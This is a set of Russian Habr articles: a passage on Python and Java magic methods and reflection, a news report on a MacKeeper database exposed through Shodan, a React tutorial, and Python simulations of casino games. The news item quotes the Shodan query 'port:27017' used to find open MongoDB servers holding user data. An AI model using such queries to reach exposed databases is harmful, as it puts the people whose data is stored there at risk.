Запустим этот код и увидим дефолтное строковое представление объекта car:
```
Car@61bbe9ba
```
Не очень информативно, не правда ли? Давайте усовершенствуем вывод, переопределив метод toString(). Добавим следующий метод в класс Car:
```
public String toString() {
return "Car: " + getColor() + " : " + getModel() + " : " + getYear();
}
```
Теперь, запустив предыдущий пример, увидим следующее:
```
Car: yellow : Beetle : 1969
```
В Python подобный функционал обеспечивается набором так называемых **магических методов** (dunder — аббревиатура для double underscore). Каждый Python-класс наследует эти методы, и мы можем, переопределив их, изменить их поведение.
В Python для строкового представления объекта имеется два метода: **repr**() и **str**(). Однозначное представление объекта возвращается методом **repr**(), в то время как **str**() возвращает его в удобочитаемом виде. Это примерно как hashcode() и toString() в Java.
Как и в Java, в Python имеется дефолтная реализация магических методов:
```
>>> my_car = Car("yellow", "Beetle", "1966")
>>> print(repr(my_car))
>>> print(str(my\_car))
```
Чтобы улучшить читаемость, переопределим метод **str**() в Python-классе Car:
```
def __str__(self):
return f'Car {self.color} : {self.model} : {self.year}'
```
Результат будет выглядеть намного приятнее:
```
>>> my_car = Car("yellow", "Beetle", "1966")
>>> print(repr(my_car))
>>> print(str(my\_car))
Car yellow : Beetle : 1966
```
Переопределение магического метода дало нам более читаемое представление объекта. Можно также переопределить метод **repr**(), это полезно для отладки.
Python предоставляет нам гораздо большее количество магических методов, переопределяя которые, можно изменить поведение объекта во время итерации, операций сравнения и сложения или непосредственного вызова объекта.
Перегрузка операторов
---------------------
Перегрузка операторов в Python означает возможность в классах переопределять различные операторы языка. Магические методы Python позволяют реализовать перегрузку операторов, чего Java не предлагает вообще.
Изменим наш Python-класс Car следующим образом:
```
class Car:
def __init__(self, color, model, year):
self.color = color
self.model = model
self.year = year
def __str__(self):
return f'Car {self.color} : {self.model} : {self.year}'
def __eq__(self, other):
return self.year == other.year
def __lt__(self, other):
return self.year < other.year
def __add__(self, other):
return Car(self.color + other.color,
self.model + other.model,
int(self.year) + int(other.year))
```
Данная таблица показывает связи между этими магическими методами и операторами, которые они представляют:
| **Магический метод** | **Оператор** | **Смысл** |
| --- | --- | --- |
| **eq** | == | В один ли год выпущены объекты Car? |
| **lt** | < | Какой из объектов Car более раннего выпуска? |
| **add** | + | Добавить два объекта Car без особого смысла |
Когда Python видит выражение, содержащее объекты, он вызывает магический метод, соответствующий операторам в выражении.
В нижеуказанном коде используются новые перегруженные арифметические функции над двумя объектами класса Car:
```
>>> my_car = Car("yellow", "Beetle", "1966")
>>> your_car = Car("red", "Corvette", "1967")
>>> print (my_car < your_car)
True
>>> print (my_car > your_car)
False
>>> print (my_car == your_car)
False
>>> print (my_car + your_car)
Car yellowred : BeetleCorvette : 3933
```
Существует гораздо большее количество операторов, которые можно перегрузить при помощи магии, что позволяет разнообразить поведение объекта так, как это не делают базовые дефолтные методы Java.
Рефлексия
---------
Рефлексия – это изучение объекта или класса внутри самого объекта или класса. И Java, и Python предоставляют способы исследования атрибутов и методов в классе.
Изучение типа объекта
---------------------
В обоих рассматриваемых языках имеются способы проверить тип объекта. В Python мы используем type()для отображения типа переменной и isinstance () для определения, является ли данная переменная экземпляром или потомком определенного класса:
```
>>> my_car = Car("yellow", "Beetle", "1966")
>>> print(type(my_car))
>>> print(isinstance(my\_car, Car))
True
>>> print(isinstance(my\_car, Device))
True
```
В Java мы вызываем метод getClass() для определения типа и используем instanceof для проверки на принадлежность классу:
```
Car car = new Car("yellow", "beetle", 1969);
System.out.println(car.getClass());
System.out.println(car instanceof Car);
```
Получаем следующее:
```
class com.realpython.Car
true
```
Изучение атрибутов объекта
--------------------------
В Python при помощи dir() мы видим все атрибуты и функции, содержащиеся в объекте (включая магические методы). Чтобы получить конкретные сведения о данном атрибуте или функции, используем getattr():
```
>>> print(dir(my_car))
['_Car__cupholders', '__add__', '__class__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__',
'__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__',
'_voltage', 'color', 'model', 'voltage', 'wheels', 'year']
>>> print(getattr(my_car, "__format__"))
```
В Java имеются аналогичные возможности, однако контроль доступа и типобезопасность, заложенные в языке, усложняют дело.
getFields() извлекает список всех общедоступных атрибутов. Однако, поскольку ни один из атрибутов класса Car не является публичным, этот код возвращает пустой массив:
```
Field[] fields = car.getClass().getFields();
```
Java рассматривает атрибуты и методы как отдельные сущности, поэтому публичные методы извлекаются при помощи getDeclaredMethods(). Поскольку публичные атрибуты будут иметь соответствующий get-метод, один из способов обнаружить, что класс содержит определенное свойство, может выглядеть таким образом:
1) использовать getDeclaredMethods() для генерации массива всех методов
2) перебрать все эти методы:
* для каждого обнаруженного метода вернуть true, если метод:
* + начинается со слова get или принимает ноль аргументов;
* + и не возвращает void;
* + и включает в себя название свойства;
* в противном случае вернуть false.
Вот пример на скорую руку:
```
1 public static boolean getProperty(String name, Object object) throws Exception {
2
3 Method[] declaredMethods = object.getClass().getDeclaredMethods();
4 for (Method method : declaredMethods) {
5 if (isGetter(method) &&
6 method.getName().toUpperCase().contains(name.toUpperCase())) {
7 return true;
8 }
9 }
10 return false;
11 }
12
13 // Helper function to get if the method is a getter method
14 public static boolean isGetter(Method method) {
15 if ((method.getName().startsWith("get") ||
16 method.getParameterCount() == 0 ) &&
17 !method.getReturnType().equals(void.class)) {
18 return true;
19 }
20 return false;
21 }
```
getProperty() – это точка входа. Вызовем ее с именем атрибута и объекта. Она вернет true, если свойство будет найдено, иначе вернет false.
Вызов методов через рефлексию
-----------------------------
И в Java, и в Python имеются механизмы для вызова методов через рефлексию.
В вышеприведенном Java-примере вместо возвращения значения true в случае, если свойство найдено, можно было вызвать метод напрямую. Вспомним, что getDeclaredMethods() возвращает массив объектов типа Method. Объект Method сам содержит метод invoke(), который вызывает Method. В строке 7 вместо возвращения значения true, когда найден метод, можно вернуть method.invoke(object).
Эта возможность существует также и в Python. Однако, поскольку Python не делает различий между функциями и атрибутами, нужно специально искать сущности, которые можно вызвать:
```
>>> for method_name in dir(my_car):
... if callable(getattr(my_car, method_name)):
... print(method_name)
...
__add__
__class__
__delattr__
__dir__
__eq__
__format__
__ge__
__getattribute__
__gt__
__init__
__init_subclass__
__le__
__lt__
__ne__
__new__
__reduce__
__reduce_ex__
__repr__
__setattr__
__sizeof__
__str__
__subclasshook__
```
Методы Python проще в управлении и вызове, чем в Java. Нижеприведенный код найдет метод объекта **str**() и вызовет его через рефлексию:
```
>>> for method_name in dir(my_car):
... attr = getattr(my_car, method_name)
... if callable(attr):
... if method_name == '__str__':
... print(attr())
...
Car yellow : Beetle : 1966
```
В данном примере проверяется каждый атрибут, возвращаемый функцией dir(). Мы получаем значение атрибута объекта, используя getattr(), и проверяем при помощи callable(), является ли оно вызываемой функцией. Если это так, то можно проверить, является ли его имя **str** (), и затем вызвать его. | https://habr.com/ru/post/455796/ | null | ru | null |
# Через Shodan оказалась доступна база с 13 млн аккаунтов MacKeeper
Компания-разработчик MacKeeper постоянно напоминает владельцам компьютеров Apple Mac, что им нужна защита. Сегодня в защите нуждается сама компания после того, как в открытом доступе оказалась база из 13 миллионов пользовательских аккаунтов MacKeeper.
Самое интересное, что база была открыта для всех желающих через интернет, достаточно сделать простой запрос в поисковике Shodan.io.
```
port:27017
```
В базе — имена, телефонные номера, email'ы, имена пользователей, парольные хеши MD5 без соли, идентификаторы компьютеров, серийные номера, IP-адреса, коды софтверных лицензий и активации, тип оборудования и тип подписки MacKeeper.
О находке сообщил в понедельник специалист по безопасности Крис Викери (Chris Vickery) в [комментарии](https://www.reddit.com/r/apple/comments/3wq9fc/massive_data_breach/) на форуме Reddit.
Специалист скачал базу, а потом уведомил об этом компанию Kromtech (владелец MacKeeper).
Kromtech [закрыла дыру](https://mackeeper.com/blog/post/173-mackeeper-security-advisory) в течение нескольких часов и сообщила, что анализ логов на сервере показывает однократный доступ к файлам. То есть имеется надежда, что кроме Криса Викери никто не догадался осуществить такой запрос на Shodan.
Крису Викери удалось обнаружить четыре IP-адреса, по которым можно было получить доступ к данным.
«Поисковая система Shodan.io проиндексировала их IP-адреса как публично доступные инстансы MongoDB (как некоторые уже догадались), — прокомментировал Викери. — Я никогда раньше не слышал ни про MacKeeper, ни про Kromtech до прошлого вечера, просто наткнулся на них, когда от скуки запустил случайный запрос "port:27017" в Shodan».
Поисковая система Shodan предназначена для поиска серверов, маршрутизаторов, сетевых устройств и всего остального, что подключено к интернету. Пользователи могут фильтровать запросы для нахождения оборудования по конкретному производителю, по функции или географическому расположению.
Представители Kromtech сказали, что начали «всестороннее внутреннее расследование» инцидента и усилили меры безопасности. | https://habr.com/ru/post/356954/ | null | ru | null |
# Построение надежных веб-приложений на React: Часть 1, браузерные прототипы
Перевод статьи «Building robust web apps with React: Part 1, in-browser prototypes», Matt Hinchliffe
От переводчика: это первая статья из цикла «Building robust web apps with React».
Переводы:
* Построение надежных веб-приложений на React: Часть 1, браузерные прототипы
* [Построение надежных веб-приложений на React: Часть 2, оптимизация с Browserify](http://habrahabr.ru/post/229853/)
* [Построение надежных веб-приложений на React: Часть 3, тестирование с Jasmine](http://habrahabr.ru/post/229987/)
* [Построение надежных веб-приложений на React: Часть 4, серверная генерация](http://habrahabr.ru/post/230269/)
Когда я смотрю на то, как устроены браузеры и протоколы, на которых работает веб, мне становится как-то тревожно. Есть столько всего, что может и, обычно, идет не так, что становится удивительно, как хоть что-то из того, что мы пишем, вообще работает. Надежность «вопреки всему» происходит от отказоустойчивости и обратной совместимости, которые укоренились в ключевые части веб-стека. Браузер всегда сделает все возможное, чтобы отобразить, что-то полезное, будь-то парсинг плохо написанного документа, в котором невозможно получить зависимости, или, который на 10 лет устарел.
[404PageFound](http://www.404pagefound.com/) содержит до сих пор работающие сайты, созданные еще в 1993 году.
Мне кажется, что это фундаментальное свойство веба забывается. Мы, как разработчики, стремимся все больше и больше соответствовать ожиданиям поставленными другими платформами. Мы особенно завидуем рабочему окружению мобильных разработчиков, мы тоже хотим строить динамические и гибкие приложения. Есть множество удивительно умных людей, которые, прямо сейчас, создают приложения, которые позволяют нам делать это, сейчас и вправду замечательное время для работы в этой индустрии. Однако, я не думаю, что текущий набор инструментов; Angular, Ember, Knockout и др. это, то в чем заключается будущее браузерной разработки, потому как они не являются надежными по своей сути.
> Я обеспокоен тем, что вижу сайты, которые делают JavaScript краеугольным камнем работы с содержимым на данный момент и на будущее. Это построение основы на самой хрупкой части стека.
— Jeremy Keith, [Time (Full Frontal 2013)](https://www.youtube.com/watch?v=pguQjFFgB68)
Дополнительная сложность и нагрузка, которую мы перемещаем на браузер, означает, что пользователь может ничего не увидеть, даже если произойдет минимальная проблема. Это проблема не столько вышеупомянутых инструментов, сколько в современном подходе построения веб-сайтов; [пустой тег body у страницы просто недопустим](https://twitter.com/scottjehl/status/433694821497438209). Наши сайты должны быть хотя бы *доступны*, когда они запрошены при помощи дрянного соединения или запущены в старом браузере. Мы должны осознать факт, что веб-браузер совсем не рабочая среда смартфона, так как здесь столько всего, что мы не можем контролировать!
Главная страница [Squarespace](http://squarespace.com/) прячет все содержимое полагаясь на то, что JavaScript обработает его видимость.
Я здесь не для того, чтобы проповедовать философию [Лудитов](http://ru.wikipedia.org/wiki/%D0%9B%D1%83%D0%B4%D0%B4%D0%B8%D1%82%D1%8B), я, правда, не хочу сказать, что мы должны разрабатывать страницы на чистом HTML. Мы, определенно, можем побороть хрупкость, которую мы вводим на наши сайты, но чтобы сделать это, мы должны переосмыслить некоторое техники, которые мы используем, и для есть несколько интересных инструментов, мой любимый из них, это библиотека React от разработчиков Facebook и Instagram.
React потрясающий, потому что он предоставляет новый способ построения и поставки интерактивных интерфейсов. React предоставляет простые средства для создания [адаптивно-гибридных](http://blog.getify.com/adaptive-hybrid-javascript/) или [изоморфных](http://nerds.airbnb.com/isomorphic-javascript-future-web-apps/) веб-приложений. Начальный HTML может быть сгенерирован на сервере (без каких либо безмозглых махинаций браузера) для React'а, чтобы быть разумно представленным после загрузки браузера.
React не является MV-whatever фреймворком, он всего лишь обрабатывает 'представление', но не привычными шаблонами. React представления, это не просто куски текста, которые должны быть вывалены на страницу, это легковесное, промежуточное представление DOM, техника более известная, как “виртуальный DOM”.
Использование посредника, вместо чтения и изменения настоящей модели документа, позволяет [алгоритму различий](http://calendar.perfplanet.com/2013/diff/) рассчитывать наименьшее количество шагов, необходимых для перерисовки состояния. Это в сочетании с другими ускоряющими производительность вещами, такими как разумная делегация событий и [пакетное обновление DOM](http://wilsonpage.co.uk/preventing-layout-thrashing/) и делает React изумительно быстрым.
React позволяет приложениям быть написанными выразительно–интерактивными по умолчанию, но также возвращает надежность в динамические веб-сайты. Это разумно и делает только небольшой, если вообще делает, штраф в производительности.
#### Пример приложения
Пример, который я собираюсь создать, это табло отправки для станций Лондонского метро при помощи TrackerNet API или “Tube Tracker”, для краткости.
Данное приложение имеет только четыре состояния: отображение приветствия, загрузка или сообщение об ошибке и отображение отправки поездов со станции. Для сертифицированного разработчика производственного уровня, приложение может быть представлено следующей диаграммой:
Вместо того, чтобы строчка за строчкой проходить процесс написания приложения, я объясню несколько основных вещей и процессов, полезных при первом использовании React.
> TrackerNet API, это продукт прошлой эпохи, он плохо документирован и в нем недостает данных о станциях и целых ветках. Проблемы с TrackerNet были [хорошо описаны Крисом Эпплгейтом (Chris Applegate)](http://www.qwghlm.co.uk/2012/03/06/why-it-took-me-five-months-to-write-whensmytube/) и решены в его опенсорс проекте [When’s My Transport](https://github.com/qwghlm/WhensMyBus). К счастью, кажется, что его ветхий API [будет вскоре заменен](http://api.beta.tfl.gov.uk/).
#### Быстрое браузерное прототипирование
React приложения могут быть быстро спрототипированы в браузере без какой либо подготовки. Я предпочитаю писать мои компоненты с использованием опционального синтаксиса JSX, который позволят им быть написанными очень похожими на HTML синтаксис. Если вам кажется, что встраивание HTML в JavaScript неправильно, это можно понять, учитывая годы их разделения, но для меня это оказалось более продуктивным подходом, и это делает визуализацию проще, чем при использовании чистого JavaScript. Подключение React и JSX трансформатора (доступных на Facebook CDN), это все что вам нужно, чтобы начать:
```
My React App
/\*\* @jsx React.DOM \*/
```
> Установка атрибута `type` элемента script в что-нибудь другое чем `text/javascript` позволяет не-JavaScript данным встраиваться на страницу. Поскольку элемент script не предназначен для пользователя, он не имеет визуального отображения на странице.
#### Иерархия компонентов
React приложения собираются из компонентов организованных в иерархию. Самый простой способ спланировать архитектуру приложения, это прорабатывая обязанности для каждой части интерфейса и рисуя для них блоки. В идеале, каждый компонент [должен обрабатывать только одну вещь](http://en.wikipedia.org/wiki/Single_responsibility_principle), так чтобы сложные компоненты разделялись на более мелкие под-компоненты.
Наш каркас может быть организован в следующую иерархию:
* `TubeTracker` содержит приложение
+ `Network` отображает каждую линию в сети
- `Line` отображает станции на линии
+ `Predictions` контролирует состояние доски отправки
- `DepartureBoard` отображает текущую станцию и платформы
#### Свойства и состояние
React имеет два типа данных; “свойства” передаваемые между компонентами и “состояние”, которое хранится внутри компонента. Компонент может изменять состояние, но его свойства не изменяются, что хорошо, так как, в идеале, должен быть только один источник правды. Ключевое архитектурное решение при проектировании React приложения, это решение о том, какие данные требуются каждым компонентом, и где должен быть это источник.
Tube Tracker требует только три вида данных: данные сети (линии, станции и тд.), выбранная пользователем линия и станция, и данные расписания получаемые из TrackerNet.
Данные сети, потребляются только компонентами `Network` и `Line` чтобы предоставлять списки станций, а также компонентом `TubeTracker` для валидации пользовательского ввода. Это большой объем данных, поэтому лучше обрабатывать их внешне и затем передавать в приложение.
Выбранная пользователем линия и станция используется компонентом `Predictions`, но выбранные условия предосталяются компонентом `Line`. Следуя иерархии компонентов, их общий предок, это TubeTracker, так что выбранная линия и станция должны хранится в состоянии компонента `TubeTracker`.
Наконец, данные прогнозов TrackerNet используются компонентами `Trains`, `DepartureBoard` и `Predictions`, но не компонентом `TubeTracker`, так что они должны храниться в компоненте `Predictions`.
Но есть проблема, данные должны быть переданны обратно вверх по иерархии. Когда ввод пользователя полученный компонентом `Line`, его предок, `TubeTracker` должен знать об этом.
[Мышление в React(Thinking in React)](http://facebook.github.io/react/blog/2013/11/05/thinking-in-react.html) — более детальный обзор иерархии компонентов и различий между свойствами и состоянием, это точно стоит прочесть.
#### Коммуникация компонентов
Так как данные могут передаваться только вниз по иерархии, мы должны использовать другую технику для передачи данных наверх. Есть два основных способа, чтобы сделать это.
Если компонент должен передавать данные только своему прямому предку, то предоставление обратного вызова самое простое решение. React автоматически привязывает методы компонента к каждому экземпляру, так что нет необходимости беспокоится о передачи контекста.
```
var Parent = React.createClass({
handleClick: function(e) {...},
render: function() {
return ;
}
});
var Child = React.createClass({
render: function() {
return Click me;
}
});
```
Для более дальних уведомлений система [публикация/подписка (publish/subscribe)](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx) будет более гибкой и простой для поддержки. Это может быть сделано нативными JavaScript событиями или при помощи библиотеки [PubSubJS](https://github.com/mroderick/PubSubJS), путем привязки к методам жизненного цикла компонента.
```
var Parent = React.createClass({
handleMyEvent: function(e) {...},
componentWillMount: function() {
window.addEventListener("my-event", this.handleMyEvent, false);
},
componentWillUnmount: function() {
window.removeEventListener("my-event", this.handleMyEvent, false);
},
render: function() {...}
});
var Grandchild = React.createClass({
handleClick: function(e) {
var customEvent = new CustomEvent("my-event", {
detail: { ... },
bubbles: true
});
this.refs.link.getDOMNode().dispatchEvent(customEvent);
},
render: function() {
return Click me;
}
});
```
#### Жизненный цикл компонентов
У компонентов есть краткий API, чтобы зацепиться за их жизненный цикл; создание (mounting), обновление и уничтожение (unmounting). В отличии от других подходов построения динамических интерфейсов, эта функциональность встроена в определение компонента. В примере коммуникации компонентов я использовал методы `componentWillMount` и `componentWillUnmount` для добавления и удаления обработчиков событий, но есть и другие методы, которые дают детальный контроль над свойствами и состоянием компонентов. В приложении Tube Tracker я также использовал следующие методы:
* `componentDidMount` вызывается после того, как компонент был отрисован, он полезен как точка интеграции с другим кодом, который зависит от сгенерированного DOM.
* `componentWillReceiveProps` вызывается каждый раз, когда компонент получает новые свойства, это полезно для отмены запущенных на данный момент операций, которые будут задеты добавленными свойствами.
* `shouldComponentUpdate` полезный хук, для ручного контроля того, нуждается ли в перерисовке изменение состояния или свойств.
#### Вот что я сделал раньше
Итак, мы установили браузерное окружение, разбили наш UI на компоненты, выяснили, какие данные нам необходимы, где должны они храниться и как они распределны в приложении, пришло время для демонстрации!
Я использовал [Express](http://expressjs.com/) для установки небольшого HTTP сервера, чтобы выкатить статические файлы, которые будут использоваться в следующих частях этого цикла статей. Вы можете [попробовать приложение прямо сейчас](http://react-tube-tracker.herokuapp.com/) (внимание: пример запущен на бесплатном аккаунте, так что эта ссылка может быть неустойчивой) или пройти на GitHub, чтобы [посмотреть исходный код](https://github.com/i-like-robots/react-tube-tracker/releases/tag/prototype).
Во второй части я опишу оптимизацию приложения; установку инструментов по оптимизации кода для браузера. Пожалуйста, комментируйте или [твитните мне](https://twitter.com/i_like_robots), я буду рад получить отзывы. | https://habr.com/ru/post/229655/ | null | ru | null |
# Можно ли выиграть в азартные игры? Симуляция на языке Python
Привет, Geektimes.
В процессе праздного ничегонеделания возникла идея поизучать разные азартные игры, заодно получше разобраться с тем как это работает. Результаты оказались хотя и в целом очевидными, но достаточно интересными, чтобы поделиться ими с общественностью.
Кому интересны подробности, прошу под кат.
Игральные кости: игра крэпс
---------------------------
Самый наверное, интуитивно простой и понятный вариант — есть кубик с метками от 1 до 6, и вероятность выпадения того или иного числа равна 1/6. Но играть таким способом было бы скучно, поэтому популярны игры с более сложными правилами. Популярной азартной игрой является [крэпс](http://wiki.bingo/ru/%D0%9A%D1%80%D1%8D%D0%BF%D1%81), на рисунке выше приведена картинка игрового стола. Как можно видеть, там много всего, но мы не будем вдаваться в глубокие тонкости.
Каждый ход игры состоит из бросания двух кубиков, набранные очки суммируются. Как [написано в статье](http://www.vokrugsveta.ru/article/215452/), “Правила игры незамысловаты: игрок кидает две кости, и, если сумма очков на них равна 7 или 11, он выигрывает, если 2, 3 или 12 — проигрывает. Когда на кубиках выпадает другая сумма, шутер бросает их до выигрышной или проигрышной комбинаций”.
Посмотрим, сколько можно выиграть таким способом. Для этого необязательно идти в казино, для симуляции игры воспользуемся Python. Напишем функцию для одного броска:
```
import random
def shoot():
return random.randint(1,6) + random.randint(1,6)
```
Напишем функцию симуляции одного хода по вышеописанным правилам.
```
def move():
while True:
val = shoot()
print "Dice roll:", val
if val == 7 or val == 11:
return True
if val == 2 or val == 3 or val == 12:
return False
```
Зададим нашему виртуальному игроку начальную сумму в 100 у.е., и запустим процесс игры. Пусть наш игрок сделает 100 ставок, каждый раз по 1у.е.
```
money_total = 100
win = 0
loss = 0
for p in range(100):
bet = 1
step = move()
if step is True:
money_total += bet
win += 1
else:
money_total -= bet
loss += 1
print "Win", win, "Loss", loss, "Money", money_total
```
Запускаем симуляцию 100 игр и удивляемся результату, игрок **выиграл**, причем с заметным отрывом побед от поражений: Win 63, Loss 37, Money 126. Увеличиваем число игр до 1000 и запускаем еще раз, игрок опять выиграл: Win 680, Loss 320, Money 460.
Понятно, что что-то здесь не так — игра, в которой игрок был бы всегда в плюсе, вряд ли была бы популярной в казино, оно бы просто разорилось. Попробуем разобраться.
Интуитивно кажется, что при бросании кубика вероятность выпадения любой грани равновероятна. И это действительно так, но в случае *одного* кубика. Если кубиков два, то все становится сложнее. К примеру, число 7 может выпасть как 3+4, 2+5, 1+6, а вот число 12 может выпасть только в виде комбинации 6+6.
Построим в Jupyter notebook график выпадения сумм от 1 до 12 для 100 бросков:
```
from matplotlib import pyplot as plt
%matplotlib inline
y = [ shoot() for v in range(100) ]
plt.hist(y)
```
Предположение подтвердилось, и суммы из центра действительно выпадают чаще. Таким образом, числа 7 и 11 действительно выпадают чаще чем 2,3 или 12. И вероятность получить выигрышную комбинацию “7 или 11” действительно выше.
Как такое может быть? Увы, ответ прост — автор процитированной выше статьи просто не разобрался досконально в правилах игры. Текст “*правила игры незамысловаты: игрок кидает две кости, и, если сумма очков на них равна 7 или 11, он выигрывает, если 2, 3 или 12 — проигрывает*” весьма далек от правды, и правила в крэпс совсем не так незамысловаты как кажутся.
Реальные правила для ставки на pass line оказались несколько сложнее (есть и другие виды ставок, желающие могут разобраться самостоятельно).
**Ход-1**: Делается бросок. Если выпадает 7 или 11, игрок выигрывает, если 2, 3 или 12, игрок проигрывает. Если выпадает другое число, оно запоминается под названием point.
**Ход-2**: Делается бросок. Если выпадает 7, то игрок проиграл. Если выпадает point то игрок выиграл. Если выпадают другие числа, ход повторяется (в это время игроки могут также делать ставки на другие числа).
Действительно, все чуть сложнее, чем описывалось в изначальном варианте. Допишем функцию симуляции с учетом более точных правил.
```
def move():
point = 0
while True:
val = shoot()
if point == 0:
# First move
if val == 7 or val == 11:
return True
if val == 2 or val == 3 or val == 12:
return False
point = val
else:
# 2..N move
if val == 7:
return False
if val == point:
return True
```
Результат теперь более похож на правду: за 100 игр игрок выиграл 43 раза, проиграл 57 раз, баланс в конце игры составил 86у.е. от изначальных 100. Интересно и то, что число выигрышей оказалось довольно-таки велико, и составляет лишь немногим менее 50%. Это грамотная стратегия с точки зрения казино — она позволяет поддерживать интерес участника к игре (все время проигрывать было бы неинтересно), но в то же время баланс прибыли казино остается положительным, а баланс денег игрока — соответственно, отрицательным.
Посмотрим подробнее, что получается для симуляции в 100 игр.
— Шанс выиграть на первом шаге выпал примерно в 20 случаях.
— Шанс проиграть сразу на первом шаге выпал в 15 случаях.
— В остальных 65 случаях игра продолжается, и тут все хитро: выбор происходит из двух чисел, 7 и point, но как было видно из графика выше, вероятность выпадения “проигрышной” цифры 7 максимальна, что в общем-то и требовалось доказать.
Интересно заметить, что шанс выигрыша в 45% — довольно-таки высок. Так можно ли выиграть? В краткосрочном периоде, да, например, в другой симуляции игроку “повезло”, и он за 100 игр увеличил свой виртуальный капитал со 100 до 112уе.
Но уже следующая симуляция показала отрицательный баланс: игрок уменьшил свое состояние со 100 до 88уе, потеряв, кстати, те же самые 12уе, “выигранные” в предыдущий раз.
Если увеличить число итераций до 1000, то можно увидеть как может выглядеть денежный баланс игрока в долгосрочной перспективе:
Понятно, что при шансе выигрыша каждой игры менее 50%, результирующая сумма денег на счету игрока будет постепенно уменьшаться, а сумма прибыли казино постепенно увеличиваться. На графике кстати, видны всплески и падения, и может возникнуть резонный вопрос — можно ли их предсказать? Увы нет, т.к. бросания кубика — это независимые друг от друга события, и предыдущие результаты никак не влияют на следующие. Можно еще раз повторить главную мысль — можно выиграть один или даже несколько раз, но в долгосрочном периоде остаться в плюсе у казино невозможно, правила игры составлены так что баланс будет не в пользу игрока.
В игре крэпс есть и другие виды ставок, желающие могут проанализировать их самостоятельно.
Американская рулетка
--------------------
Следующий популярный вид азартных игр — рулетка, рассмотрим ее американский вариант.
Игровое поле рулетки делится на 38 ячеек: 36 зон с цифрами + 2 зоны “zero” и “double zero”. Брошенный на рулетку шарик очевидно, остановится в одной из зон. Игрок может делать разнообразные ставки, видов которых более 10, рассмотрим некоторые из них.
**Черное-красное (или чет-нечет)**
Игрок выигрывает, если названная им ставка совпала. Очевидно, что вероятность черного или красного была бы 50/50, если бы не два поля zero — при попадании на них ставка проигрывает. Как и в случае с крэпсом, это делает вероятность выигрыша лишь чуть менее 50% — но этого “чуть” достаточно, чтобы быть в минусе.
Напишем функцию симуляции хода с помощью случайных чисел от 1 до 38, последние 2 цифры будем считать за “зеро”.
```
def move_roulette1():
val = random.randint(1,38)
if val == 37 or val == 38:
return False
return val % 2 != 0
```
Запустим симуляцию для 100 игр, код тот же самый что и в симуляции крэпса, поменяем только вызов функции.
```
money_total = 100
win = 0
loss = 0
for p in range(100):
bet = 1
step = move_roulette1()
if step is True:
money_total += bet
win += 1
else:
money_total -= bet
loss += 1
print "Win", win, "Loss", loss, "Money", money_total
```
Результат: за 100 попыток игрок выиграл 46 раз и проиграл 54 раза. На графике видно, что у игрока были и “взлеты” и “падения”, но итоговый баланс все равно негативный.
Чем больше мы играем, тем глубже мы уходим в минус, а казино соответственно, в плюс:
Был вопрос от читателя, почему я не рассмотрел Европейскую рулетку с одним полем «зеро» — как нетрудно догадаться, шанс выигрыша там действительно выше, но общий принцип не меняется. По сути, разница лишь в «скорости проигрыша». Вот так выглядит совместный график для американского и европейского варианта игры:
Желающие протестировать Европейский вариант рулетки с 37 слотами, могут воспользоваться вторым вариантом функции:
```
def move_roulette1():
val = random.randint(1,37)
if val == 37:
return False
return val % 2 != 0
```
**Ставка на конкретный номер**
Игрок также может поставить на определенный номер, ставка при выигрыше составляет 35:1. Это кажется большим, но нетрудно догадаться, что вероятность выпадения определенного номера рулетки 1:38, т.е. опять же, чуть меньше.
Допишем функцию ставки на конкретный номер:
```
def move_roulette2(num):
val = random.randint(1,38)
return val == num
```
Симуляция, будем считать что игрок ставит на число 10:
```
money_total = 100
win = 0
loss = 0
for p in range(100):
bet = 1
step = move_roulette2(10)
if step is True:
money_total += 35*bet
win += 1
else:
money_total -= bet
loss += 1
print "Win", win, "Loss", loss, "Money", money_total
```
В результате, игрок выиграл 2 раза и проиграл 98 раз, итоговый баланс -28у.е.
**Ставка на два номера**
Можно поставить на два номера — шанс выигрыша выше, но зато ставка меньше и составляет 17:1.
Напишем функцию:
```
def move_roulette3(num1, num2):
val = random.randint(1,38)
return val == num1 or val == num2
```
За 100 попыток нашей симуляции игрок выиграл 3 раза и проиграл 97 раз, баланс составил -46у.е.
Существуют и другие виды ставок, например, на 4 номера с коэффициентом 1:8, желающие могут поэкспериментировать самостоятельно. Как нетрудно догадаться, все коэффициенты рассчитаны так, чтобы игрок оказался в минусе. Кажется заманчивым поставить 1уе на номер, чтобы выиграть целых 35уе. Но сумма выигрыша увеличивается в 35 раз, а шанс выигрыша уменьшается в 38 раз — итоговый баланс все равно будет в пользу казино.
Лото 6 из 45
------------
Следующее, что интересно проверить, это лото. Принцип игры довольно прост — в барабане находятся 45 шаров, выпадают случайным образом 6 из них. Цена билета согласно сайту «Гослото», составляет 100р, а выигрыш зависит от количества угаданных шаров. Примерный порядок сумм выигрыша таков: 2 угаданных шара дают выигрыш в 100р, 3 угаданных шара дают 300р, 4 шара — 3000р, 5 шаров — 300.000р и 6 шаров — суперприз порядка 10.000.000р.
Для начала напишем программу выбрасывания шаров и сравнения результата:
```
def lottery(values):
balls = range(1, 45+1)
b1 = balls.pop(random.randint(0, len(balls)-1))
b2 = balls.pop(random.randint(0, len(balls)-1))
b3 = balls.pop(random.randint(0, len(balls)-1))
b4 = balls.pop(random.randint(0, len(balls)-1))
b5 = balls.pop(random.randint(0, len(balls)-1))
b6 = balls.pop(random.randint(0, len(balls)-1))
s = [b1,b2,b3,b4,b5,b6]
res = list(set(s) & set(values))
return len(res)
```
Из массива balls 6 раз “достается” случайный шар, затем определяется число элементов пересечений двух множеств. Теперь построим график суммарного выигрыша от количества купленных билетов. Для простоты будем считать что игрок ставит на одни и те же числа.
```
money = []
money_total = 0
ticket_price = 100
for p in xrange(N):
val = lottery([3,7,12,18,33,28])
if val == 2:
money_total += 100
if val == 3:
money_total += 300
if val == 4:
money_total += 3000
if val == 5:
money_total += 300000
if val == 6:
money_total += 10000000
money.append(money_total)
x = range(0, N)
price = map(lambda x: ticket_price*x, x)
from matplotlib import pyplot as plt
%matplotlib inline
plt.plot(price, money)
```
Для понимания порядка величин: если купить 100 билетов (суммарная потраченная сумма будет 10.000р), то это дает 14 угаданных “двойных” шаров и один угаданный “тройной”. Суммарный выигрыш составляет около 2000р при потраченных 10.000р.
График выигрыша от потраченной суммы получился практически линейным:
